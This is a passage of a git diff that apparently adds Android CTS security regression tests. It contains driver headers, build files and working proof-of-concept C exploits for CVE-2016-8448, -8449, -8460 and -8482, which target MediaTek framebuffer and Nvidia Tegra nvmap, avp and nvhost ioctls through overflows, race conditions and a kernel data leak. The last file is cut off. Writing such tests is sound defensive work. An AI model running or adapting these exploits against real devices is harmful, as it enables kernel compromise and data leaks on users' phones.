+int mtkfb_set_backlight_mode(unsigned int mode);
+int mtkfb_set_backlight_level(unsigned int level);
+int mtkfb_get_debug_state(char *stringbuf, int buf_len);
+unsigned int mtkfb_fm_auto_test(void);
+void mtkfb_clear_lcm(void);
+#endif /* CONFIG_ARCH_MT6735 */
+
+#ifdef __KERNEL__
+
+#include <linux/completion.h>
+#include <linux/interrupt.h>
+#include <linux/workqueue.h>
+#include <linux/version.h>
+#include <../drivers/staging/android/sw_sync.h>
+
+
+#define MTKFB_DRIVER "mtkfb"
+
+enum mtkfb_state {
+	MTKFB_DISABLED = 0,
+	MTKFB_SUSPENDED = 99,
+	MTKFB_ACTIVE = 100
+};
+
+typedef enum {
+	MTKFB_LAYER_ENABLE_DIRTY = (1 << 0),
+	MTKFB_LAYER_FORMAT_DIRTY = (1 << 1),
+	MTKFB_LAYER_SET_DIRTY = (1 << 2),
+} MTKFB_LAYER_CONFIG_DIRTY;
+
+typedef struct {
+	struct work_struct work;
+	struct list_head list;
+	struct fb_overlay_config config;
+	struct sync_fence *fences[4];
+	struct ion_handle *ion_handles[4];
+	void *dev;
+} update_ovls_work_t;
+
+struct mtkfb_device {
+	int state;
+	void *fb_va_base;	/* MPU virtual address */
+	dma_addr_t fb_pa_base;	/* Bus physical address */
+	unsigned long fb_size_in_byte;
+	void *ovl_va_base;	/* MPU virtual address */
+	dma_addr_t ovl_pa_base;	/* Bus physical address */
+	unsigned long ovl_size_in_byte;
+
+	unsigned long layer_enable;
+	MTK_FB_FORMAT *layer_format;
+	unsigned int layer_config_dirty;
+
+	int xscale, yscale, mirror;	/* transformations.
+					   rotate is stored in fb_info->var */
+	u32 pseudo_palette[17];
+
+	struct fb_info *fb_info;	/* Linux fbdev framework data */
+	struct device *dev;
+
+	/* Android native fence support */
+	struct workqueue_struct *update_ovls_wq;
+	struct mutex timeline_lock;
+	struct sw_sync_timeline *timeline;
+	int timeline_max;
+	struct list_head pending_configs;	/* CL2340210 */
+	struct ion_client *ion_client;
+};
+
+#endif				/* __KERNEL__ */
+
+extern long hdmi_handle_cmd(unsigned int cmd, unsigned long arg);
+
+#if defined(CONFIG_ARCH_MT6797)
+extern unsigned int vramsize;
+#endif
+
+#if defined(CONFIG_ARCH_MT6735) || defined(CONFIG_ARCH_MT6735M) || defined(CONFIG_ARCH_MT6753)
+extern bool is_early_suspended;
+extern void mtkfb_waitVsync(void);
+extern bool is_ipoh_bootup;
+
+#ifdef CONFIG_OF
+int _parse_tag_videolfb(void);
+extern unsigned int islcmconnected;
+extern unsigned int vramsize;
+#else
+extern char *saved_command_line;
+#endif
+#endif /* CONFIG_ARCH_MT6735 */
+
+
+#endif				/* __MTKFB_H */
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8448/mtkfb_info.h b/hostsidetests/security/securityPatch/CVE-2016-8448/mtkfb_info.h
new file mode 100644
index 0000000..61e7cfd
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-8448/mtkfb_info.h
@@ -0,0 +1,101 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#ifndef __MTKFB_INFO_H__
+#define __MTKFB_INFO_H__
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+
+	typedef enum {
+		DISPIF_TYPE_DBI = 0,
+		DISPIF_TYPE_DPI,
+		DISPIF_TYPE_DSI,
+		DISPIF_TYPE_DPI0,
+		DISPIF_TYPE_DPI1,
+		DISPIF_TYPE_DSI0,
+		DISPIF_TYPE_DSI1,
+		HDMI = 7,
+		HDMI_SMARTBOOK,
+		MHL,
+		DISPIF_TYPE_EPD,
+		SLIMPORT
+	} MTKFB_DISPIF_TYPE;
+
+	typedef enum {
+		MTKFB_DISPIF_PRIMARY_LCD = 0,
+		MTKFB_DISPIF_HDMI,
+		MTKFB_DISPIF_EPD,
+		MTKFB_MAX_DISPLAY_COUNT
+	} MTKFB_DISPIF_DEVICE_TYPE;
+
+	typedef enum {
+		DISPIF_FORMAT_RGB565 = 0,
+		DISPIF_FORMAT_RGB666,
+		DISPIF_FORMAT_RGB888
+	} MTKFB_DISPIF_FORMAT;
+
+
+	typedef enum {
+		DISPIF_MODE_VIDEO = 0,
+		DISPIF_MODE_COMMAND
+	} MTKFB_DISPIF_MODE;
+
+	typedef struct mtk_dispif_info {
+		unsigned int display_id;
+		unsigned int isHwVsyncAvailable;
+		MTKFB_DISPIF_TYPE displayType;
+		unsigned int displayWidth;
+		unsigned int displayHeight;
+		unsigned int displayFormat;
+		MTKFB_DISPIF_MODE displayMode;
+		unsigned int vsyncFPS;
+		unsigned int physicalWidth;
+		unsigned int physicalHeight;
+		unsigned int isConnected;
+/* this value is for DFO Multi-Resolution feature, which stores the original LCM Wdith */
+		unsigned int lcmOriginalWidth;
+/* this value is for DFO Multi-Resolution feature, which stores the original LCM Height */
+		unsigned int lcmOriginalHeight;
+	} mtk_dispif_info_t;
+
+#define MAKE_MTK_FB_FORMAT_ID(id, bpp)  (((id) << 8) | (bpp))
+
+	typedef enum {
+		MTK_FB_FORMAT_UNKNOWN = 0,
+
+		MTK_FB_FORMAT_RGB565 = MAKE_MTK_FB_FORMAT_ID(1, 2),
+		MTK_FB_FORMAT_RGB888 = MAKE_MTK_FB_FORMAT_ID(2, 3),
+		MTK_FB_FORMAT_BGR888 = MAKE_MTK_FB_FORMAT_ID(3, 3),
+		MTK_FB_FORMAT_ARGB8888 = MAKE_MTK_FB_FORMAT_ID(4, 4),
+		MTK_FB_FORMAT_ABGR8888 = MAKE_MTK_FB_FORMAT_ID(5, 4),
+		MTK_FB_FORMAT_YUV422 = MAKE_MTK_FB_FORMAT_ID(6, 2),
+		MTK_FB_FORMAT_XRGB8888 = MAKE_MTK_FB_FORMAT_ID(7, 4),
+		MTK_FB_FORMAT_XBGR8888 = MAKE_MTK_FB_FORMAT_ID(8, 4),
+		MTK_FB_FORMAT_UYVY = MAKE_MTK_FB_FORMAT_ID(9, 2),
+		MTK_FB_FORMAT_YUV420_P = MAKE_MTK_FB_FORMAT_ID(10, 2),
+		MTK_FB_FORMAT_YUY2 = MAKE_MTK_FB_FORMAT_ID(11, 2),
+		MTK_FB_FORMAT_BPP_MASK = 0xFF,
+	} MTK_FB_FORMAT;
+
+#define GET_MTK_FB_FORMAT_BPP(f)    ((f) & MTK_FB_FORMAT_BPP_MASK)
+
+
+#ifdef __cplusplus
+}
+#endif
+#endif				/* __DISP_DRV_H__ */
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8448/poc.c b/hostsidetests/security/securityPatch/CVE-2016-8448/poc.c
new file mode 100644
index 0000000..e5f675b
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-8448/poc.c
@@ -0,0 +1,59 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <sys/mman.h>
+#include <fcntl.h>
+//#include <pthread.h>
+#include <sys/prctl.h>
+#include <unistd.h>
+#include <stdbool.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <asm-generic/ioctl.h>
+#include "mtkfb.h"
+int main(int argc, char **argv) {
+    int fd = 0;
+    struct fb_overlay_layer layerInfo;
+    memset(&layerInfo, 0, sizeof(layerInfo));
+    fd = open("/dev/graphics/fb0", O_RDWR);
+    if (fd < 0) {
+		perror("open /dev/graphics/fb0");
+		exit(-1);
+    }
+    printf("Device file opened successfully\n");
+    printf("Trying to get layer info\n");
+    if(ioctl(fd, MTKFB_GET_OVERLAY_LAYER_INFO, &layerInfo) == -1) {
+        perror("ioctl MTKFB_GET_OVERLAY_LAYER_INFO failed");
+        exit(-2);
+    }
+    printf("Got layer info\n");
+    printf("Trying to set layer info\n");
+    // set any huge value here
+    int curr_val = 0xf1111111;
+    while(1) {
+        layerInfo.layer_id = curr_val;
+        if(ioctl(fd, MTKFB_SET_OVERLAY_LAYER, &layerInfo) == -1) {
+            perror("ioctl MTKFB_SET_OVERLAY_LAYER failed");
+            //exit(-2);
+        }
+        curr_val--;
+        if(curr_val == -1) {
+            break;
+        }
+    }
+    printf("Set layer info\n");
+    return 0;
+}
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8449/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8449/Android.mk
new file mode 100644
index 0000000..ce1e1bb
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-8449/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2016-8449
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8449/poc.c b/hostsidetests/security/securityPatch/CVE-2016-8449/poc.c
new file mode 100755
index 0000000..1e76b55
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-8449/poc.c
@@ -0,0 +1,143 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <stdio.h>
+#include <string.h>
+#include <errno.h>
+#include <stdlib.h>
+#include <pthread.h>
+#include <sys/ioctl.h>
+#include <sys/mman.h>
+#include <errno.h>
+#include <sys/stat.h>
+#include <fcntl.h>
+#include <sched.h>
+#include <sys/types.h>
+#include <signal.h>
+#include <unistd.h>
+
+#define LOG(fmt, ...)   printf(fmt "\n", ##__VA_ARGS__)
+#define ERR(fmt, ...)   printf(fmt ": %d(%s)\n", ##__VA_ARGS__, errno, strerror(errno))
+#define ARRAY_SIZE(a) (sizeof(a) / sizeof((a)[0]))
+#define CLOSE_THREAD_NUM	100
+#define TRY_TIMES		900
+
+#define DEV "/dev/tegra_avpchannel"
+
+#define NVAVP_IOCTL_MAGIC		'n'
+
+struct nvavp_channel_open_args {
+	__u32 channel_fd;
+};
+
+#define NVAVP_IOCTL_CHANNEL_OPEN	_IOR(NVAVP_IOCTL_MAGIC, 0x73, \
+					struct nvavp_channel_open_args)
+
+int fd;
+pthread_t close_thread_id[CLOSE_THREAD_NUM] = { 0 };
+
+static int set_affinity(int num)
+{
+	int ret = 0;
+	cpu_set_t mask;
+	CPU_ZERO(&mask);
+	CPU_SET(num, &mask);
+	ret = sched_setaffinity(0, sizeof(cpu_set_t), &mask);
+	if(ret == -1){
+		ERR("[-] set affinity failed");
+	}
+	return ret;
+}
+
+volatile int target_fd;
+volatile int attack;
+void* close_thread(void* no_use)
+{
+	set_affinity(1);
+
+	while(attack){
+		close(target_fd);	
+	}
+
+	return NULL;
+}
+
+int main()
+{
+	int i, try_time = TRY_TIMES, ret;
+	struct nvavp_channel_open_args o_args = { 0 };
+
+	/* bind_cpu */
+	set_affinity(0);
+
+	/* open dev */
+	fd = open(DEV, O_RDONLY);
+	if(fd == -1){
+		ERR("[-] open failed");
+		return 0;
+	} else {
+		LOG("[+] open OK");
+	}
+
+	#if 1
+	ret = ioctl(fd, NVAVP_IOCTL_CHANNEL_OPEN, &o_args);
+	if(ret == -1) {
+		ERR("[-] ioctl failed");
+		goto out_dev;
+	} else {
+		LOG("[+] ioctl OK, fd = %d", o_args.channel_fd);
+	}
+
+	target_fd = o_args.channel_fd;	
+	#endif
+
+	/* create close thread */
+	#if 1
+	attack = 1;
+	for(i = 0; i < CLOSE_THREAD_NUM; i++){
+		ret = pthread_create(close_thread_id + i, NULL, close_thread, NULL);
+		if(ret){
+			ERR("[-] create close thread %d failed", i);
+			goto out_close_thread;
+		}
+	}
+	#endif
+
+	#if 1
+	for(i = 0; i < TRY_TIMES; i++){
+		LOG("[+] %03d times", i);
+		/* open */
+		ret = ioctl(fd, NVAVP_IOCTL_CHANNEL_OPEN, &o_args);
+		if(ret == -1) {
+			ERR("[-] ioctl failed");
+		} else {
+			LOG("[+] ioctl OK, fd = %d", o_args.channel_fd);
+		}
+		//usleep(200);
+	}
+	#endif
+	
+out_close_thread:
+	attack = 0;
+	/* kill close thread */
+	for(i = 0; i < CLOSE_THREAD_NUM; i++){
+		if(close_thread_id[i])
+			pthread_join(close_thread_id[i], NULL);
+	}
+out_dev:
+	close(fd);
+	return 0;
+}
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8460/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8460/Android.mk
new file mode 100644
index 0000000..b9c51d1
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-8460/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2016-8460
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS := -Wall -W -g -O2 -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8460/poc.c b/hostsidetests/security/securityPatch/CVE-2016-8460/poc.c
new file mode 100755
index 0000000..78d41e5
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-8460/poc.c
@@ -0,0 +1,165 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <unistd.h>
+#include <errno.h>
+#include <stdio.h>
+#include <dirent.h>
+#include <string.h>
+#include <sys/stat.h>
+#include <sys/ioctl.h>
+#include <stdio.h>
+#include <string.h>
+#include <dlfcn.h>
+#include <sys/time.h>
+#include <sys/mman.h>
+#include <sys/syscall.h>
+#include <sys/resource.h>
+#include <fcntl.h>
+#include <pthread.h>
+#include <unistd.h>
+#include <sched.h>
+
+
+struct nvmap_handle_param {
+	__u32 handle;		/* nvmap handle */
+	__u32 param;		/* size/align/base/heap etc. */
+	unsigned long result;	/* returns requested info*/
+};
+
+struct nvmap_create_handle {
+	union {
+		__u32 id;	/* FromId */
+		__u32 size;	/* CreateHandle */
+		__s32 fd;	/* DmaBufFd or FromFd */
+	};
+	__u32 handle;		/* returns nvmap handle */
+};
+
+struct nvmap_pin_handle {
+	__u32 *handles;		/* array of handles to pin/unpin */
+	unsigned long *addr;	/* array of addresses to return */
+	__u32 count;		/* number of entries in handles */
+};
+
+struct nvmap_alloc_handle {
+	__u32 handle;		/* nvmap handle */
+	__u32 heap_mask;	/* heaps to allocate from */
+	__u32 flags;		/* wb/wc/uc/iwb etc. */
+	__u32 align;		/* min alignment necessary */
+};
+
+struct nvmap_pin_handle_32 {
+	__u32 handles;		/* array of handles to pin/unpin */
+	__u32 addr;		/*  array of addresses to return */
+	__u32 count;		/* number of entries in handles */
+};
+
+struct nvmap_map_caller_32 {
+	__u32 handle;		/* nvmap handle */
+	__u32 offset;		/* offset into hmem; should be page-aligned */
+	__u32 length;		/* number of bytes to map */
+	__u32 flags;		/* maps as wb/iwb etc. */
+	__u32 addr;		/* user pointer*/
+};
+
+#define NVMAP_IOC_MAGIC 'N'
+#define NVMAP_IOC_CREATE  _IOWR(NVMAP_IOC_MAGIC, 0, struct nvmap_create_handle)
+#define NVMAP_IOC_PIN_MULT      _IOWR(NVMAP_IOC_MAGIC, 10, struct nvmap_pin_handle)
+#define NVMAP_IOC_ALLOC    _IOW(NVMAP_IOC_MAGIC, 3, struct nvmap_alloc_handle)
+#define NVMAP_IOC_PIN_MULT_32   _IOWR(NVMAP_IOC_MAGIC, 10, struct nvmap_pin_handle_32)
+#define NVMAP_IOC_MMAP_32    _IOWR(NVMAP_IOC_MAGIC, 5, struct nvmap_map_caller_32)
+
+/* common carveout heaps */
+#define NVMAP_HEAP_CARVEOUT_IRAM    (1ul<<29)
+#define NVMAP_HEAP_CARVEOUT_VPR     (1ul<<28)
+#define NVMAP_HEAP_CARVEOUT_TSEC    (1ul<<27)
+#define NVMAP_HEAP_CARVEOUT_GENERIC (1ul<<0)
+
+#define NVMAP_HEAP_CARVEOUT_MASK    (NVMAP_HEAP_IOVMM - 1)
+
+/* allocation flags */
+#define NVMAP_HANDLE_UNCACHEABLE     (0x0ul << 0)
+#define NVMAP_HANDLE_WRITE_COMBINE   (0x1ul << 0)
+#define NVMAP_HANDLE_INNER_CACHEABLE (0x2ul << 0)
+#define NVMAP_HANDLE_CACHEABLE       (0x3ul << 0)
+#define NVMAP_HANDLE_CACHE_FLAG      (0x3ul << 0)
+
+#define NVMAP_HANDLE_SECURE          (0x1ul << 2)
+#define NVMAP_HANDLE_KIND_SPECIFIED  (0x1ul << 3)
+#define NVMAP_HANDLE_COMPR_SPECIFIED (0x1ul << 4)
+#define NVMAP_HANDLE_ZEROED_PAGES    (0x1ul << 5)
+#define NVMAP_HANDLE_PHYS_CONTIG     (0x1ul << 6)
+#define NVMAP_HANDLE_CACHE_SYNC      (0x1ul << 7)
+
+
+int g_fd = -1;
+
+int open_driver() {
+    char* dev_path = "/dev/nvmap";
+    g_fd = open(dev_path, O_RDWR);
+    return g_fd;
+}
+
+
+int main(int argc, char**argv) {
+    if (open_driver() < 0) {
+        return -1;
+    }
+    
+    int i;
+    int* handles = mmap((void*)0x20000000, 0x1000, PROT_READ | PROT_WRITE , MAP_FIXED | MAP_SHARED | MAP_ANONYMOUS, -1, 0);
+    memset(handles, 0x42, 0x1000);
+    for (i = 0; i < 2; ++i) {
+        struct nvmap_create_handle op = {0};
+        op.size = 0x1000;
+        ioctl(g_fd, NVMAP_IOC_CREATE, &op);
+        handles[i] = op.handle;
+        struct nvmap_alloc_handle alloc = {0};
+        alloc.align = 0x1000;
+        alloc.handle = op.handle;
+        alloc.heap_mask = NVMAP_HEAP_CARVEOUT_GENERIC;
+        alloc.flags = NVMAP_HANDLE_ZEROED_PAGES;
+        ioctl(g_fd, NVMAP_IOC_ALLOC, &alloc);
+    }
+
+    void* leak_addr = (void*) 0x10001000;
+    void* mmap_addr = mmap(leak_addr, 0x1000, PROT_READ | PROT_WRITE , MAP_FIXED | MAP_SHARED | MAP_ANONYMOUS, -1, 0);
+    memset(leak_addr, 0x41, 0x1000);
+
+    unsigned long leaked_data = 0;
+    struct nvmap_pin_handle_32 pin = {0};
+    pin.count = 2;
+    pin.handles = (unsigned int) handles;
+    struct nvmap_pin_handle err_pin = {0};
+    err_pin.count = 0;
+    err_pin.handles = handles;
+    err_pin.addr = leak_addr + 8;
+
+    ioctl(g_fd, NVMAP_IOC_PIN_MULT, &err_pin);  // construct op.addr
+    ioctl(g_fd, NVMAP_IOC_PIN_MULT_32, &pin);
+
+    for (i = 0; i < 10; ++i) {
+        if(((int*)leak_addr)[i] != 0x41414141 && 0 == leaked_data) {
+          leaked_data = (unsigned long)((int*)leak_addr) + i;
+        }
+    }
+
+    if (leaked_data) {
+        printf("Vulnerable");
+    }
+    return 0;
+}
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8482/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8482/Android.mk
new file mode 100644
index 0000000..b41fb16
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-8482/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2016-8482
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8482/poc.c b/hostsidetests/security/securityPatch/CVE-2016-8482/poc.c
new file mode 100644
index 0000000..41862a5
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-8482/poc.c
@@ -0,0 +1,205 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <string.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <pthread.h>
+#include <sys/ioctl.h>
+#include <sys/mman.h>
+#include <errno.h>
+#include <sys/stat.h>
+#include <fcntl.h>
+#include <sched.h>
+#include <sys/types.h>
+#include <signal.h>
+#include <unistd.h>
+// for syscall
+#include <sys/syscall.h>
+// for futex
+#include <linux/futex.h>
+#include <sys/time.h>
+
+#define LOG(fmt, ...)   printf(fmt "\n", ##__VA_ARGS__)
+#define ERR(fmt, ...)   printf(fmt ": %d(%d)\n", ##__VA_ARGS__, errno, errno)
+#define ARRAY_SIZE(a) (sizeof(a) / sizeof((a)[0]))
+
+#define NVMAP_IOC_MAGIC 'N'
+struct nvmap_create_handle {
+	union {
+		__u32 id;	/* FromId */
+		__u32 size;	/* CreateHandle */
+		__s32 fd;	/* DmaBufFd or FromFd */
+	};
+	__u32 handle;		/* returns nvmap handle */
+};
+#define NVMAP_IOC_CREATE  _IOWR(NVMAP_IOC_MAGIC, 0, struct nvmap_create_handle)
+
+#define NVHOST_IOCTL_MAGIC 'H'
+struct nvhost_set_error_notifier {
+	__u64 offset;
+	__u64 size;
+	__u32 mem;
+	__u32 padding;
+};
+#define NVHOST_IOCTL_CHANNEL_SET_ERROR_NOTIFIER  \
+	_IOWR(NVHOST_IOCTL_MAGIC, 111, struct nvhost_set_error_notifier)
+
+struct nvmap_alloc_handle {
+	__u32 handle;		/* nvmap handle */
+	__u32 heap_mask;	/* heaps to allocate from */
+	__u32 flags;		/* wb/wc/uc/iwb etc. */
+	__u32 align;		/* min alignment necessary */
+};
+#define NVMAP_IOC_ALLOC    _IOW(NVMAP_IOC_MAGIC, 3, struct nvmap_alloc_handle)
+
+static int set_affinity(int num)
+{
+	int ret = 0;
+	cpu_set_t mask;
+	CPU_ZERO(&mask);
+	CPU_SET(num, &mask);
+	ret = sched_setaffinity(0, sizeof(cpu_set_t), &mask);
+	if(ret == -1){
+		printf("[-] set affinity failed: [%d]-%d\n", errno, errno);
+	}
+	return ret;
+}
+
+struct nvhost_submit_args {
+	__u32 submit_version;
+	__u32 num_syncpt_incrs;
+	__u32 num_cmdbufs;
+	__u32 num_relocs;
+	__u32 num_waitchks;
+	__u32 timeout;
+	__u32 flags;
+	__u32 fence;		/* Return value */
+	__u64 syncpt_incrs;
+	__u64 cmdbuf_exts;
+
+	__u64 pad[3];		/* future expansion */
+
+	__u64 cmdbufs;
+	__u64 relocs;
+	__u64 reloc_shifts;
+	__u64 waitchks;
+	__u64 waitbases;
+	__u64 class_ids;
+	__u64 fences;
+};
+#define NVHOST_IOCTL_CHANNEL_SUBMIT	\
+	_IOWR(NVHOST_IOCTL_MAGIC, 26, struct nvhost_submit_args)
+
+struct nvhost_syncpt_incr {
+	__u32 syncpt_id;
+	__u32 syncpt_incrs;
+};
+
+#define CLOSE_THREAD_NUM	1
+#define TRY_TIMES		2
+#define NVMAPDEV	"/dev/nvmap"
+#define VICDEV		"/dev/nvhost-vic"
+#define SYNC_NUM	1
+struct nvhost_set_error_notifier err1 = { 0 }, err2 = { 0 };
+pthread_t close_thread_id[CLOSE_THREAD_NUM] = { 0 };
+int nvmap, vic;
+volatile int attack;
+void* close_thread(void* no_use)
+{
+	int ret;
+	set_affinity(1);
+
+	while(attack){
+		ret = ioctl(vic, NVHOST_IOCTL_CHANNEL_SET_ERROR_NOTIFIER, &err1);
+	}
+
+	return NULL;
+}
+
+int main()
+{
+	int i, j, ret;
+	int dma1, dma2;
+	struct nvmap_create_handle args = { 
+		.size = PAGE_SIZE
+	};
+	struct nvmap_alloc_handle alloc = {
+		.heap_mask = 0xFFFFFFFF
+	};
+
+	struct nvhost_syncpt_incr incr[SYNC_NUM];
+
+	struct nvhost_submit_args submit = { 
+		.num_syncpt_incrs = SYNC_NUM,
+		.syncpt_incrs = (intptr_t)incr,
+		.timeout = 1,
+		//.class_ids = (intptr_t)&ret
+	};
+
+	memset(incr, 0, sizeof(incr));
+	incr[0].syncpt_id = 6;
+
+	/* bind_cpu */
+	set_affinity(0);
+
+	nvmap = open(NVMAPDEV, O_RDONLY);
+	if(nvmap == -1)
+		ERR("[-] open %s failed", NVMAPDEV);
+	else
+		LOG("[+] open %s OK", NVMAPDEV);
+
+	vic = open(VICDEV, O_RDONLY);
+	if(vic == -1)
+		ERR("[-] open %s failed", VICDEV);
+	else
+		LOG("[+] open %s OK", VICDEV);
+
+	// prepare 
